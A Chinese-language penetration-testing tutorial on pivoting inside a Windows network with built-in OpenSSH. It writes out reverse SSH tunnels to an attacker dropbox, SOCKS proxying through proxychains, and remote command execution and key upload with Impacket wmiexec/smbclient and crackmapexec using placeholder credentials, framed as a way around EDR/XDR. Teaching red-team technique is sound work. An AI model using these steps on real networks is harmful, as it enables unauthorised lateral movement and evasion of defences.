在家也能用的SOCKS代理:Windows OpenSSH内网穿透技巧
引言
在进行渗透测试时,我们经常发现目标系统或数据无法从攻击者所在网络直接访问。这种情况在寻找PCI数据等敏感信息时尤为常见。即使已经获取了域管理员权限,我们可能仍然需要通过网络跳转(pivoting)来访问目标系统。
传统方法可能使用Metasploit框架,但现在EDR/XDR的存在使得这种方法变得复杂。本文将介绍如何使用Windows自带的OpenSSH功能建立SOCKS代理,实现网络流量转发。
使用默认OpenSSH客户端
环境准备
首先在本地跳板机上创建专用账户:
1
|
adduser [USERNAME] --shell=/bin/false --no-create-home
|
建立SSH隧道
在需要穿透的系统上执行以下命令,使用-R选项进行远程端口转发:
1
|
ssh [USER]@[DROPBOX] -R [PORT] -N
|
验证连接
使用netstat验证本地监听端口:
配置proxychains
确保跳板机安装了proxychains,并更新配置文件以匹配选择的端口。
通过代理执行命令
1
|
proxychains cme smb [TARGET] -u [USER] -p [PASSWORD]
|
无RDP访问权限的情况
创建带家目录的用户
生成SSH密钥
上传私钥
使用Impacket的smbclient.py上传私钥到跳板系统:
1
|
python3 smbclient.py [DOMAIN]/[USER]:[PASSWORD]@[PIVOT_SYSTEM]
|
非交互式执行SSH命令
1
|
python3 wmiexec.py [DOMAIN]/[USER]:[PASSWORD]@[PIVOT_SYSTEM] ssh [USER]@[DROPBOX] -N -R [PORT] -I [KEY_FILE] -o StrictHostKeyChecking=no
|
安装OpenSSH服务器
GUI安装方式
通过设置 -> 应用和功能 -> 管理可选功能,找到OpenSSH服务器并安装。
命令行安装
1
2
|
Add-WindowsCapability -Online -Name OpenSSH.Server
Start-Service sshd
|
远程安装
使用非交互式shell远程执行:
1
|
python3 wmiexec.py [DOMAIN]/[USER]:[PASSWORD]@[PIVOT_SYSTEM] -shell-type powershell
|
建立SOCKS连接
1
|
ssh [USER]@[PIVOT_SYSTEM] -D [PORT]
|
验证隧道
1
|
proxychains cme smb [IP] -u [USER] -p [PASSWORD]
|
结论
通过Windows自带的OpenSSH功能,我们可以轻松实现内网穿透和SOCKS代理功能,无需依赖复杂的第三方工具。这种方法简单有效,适用于各种渗透测试场景。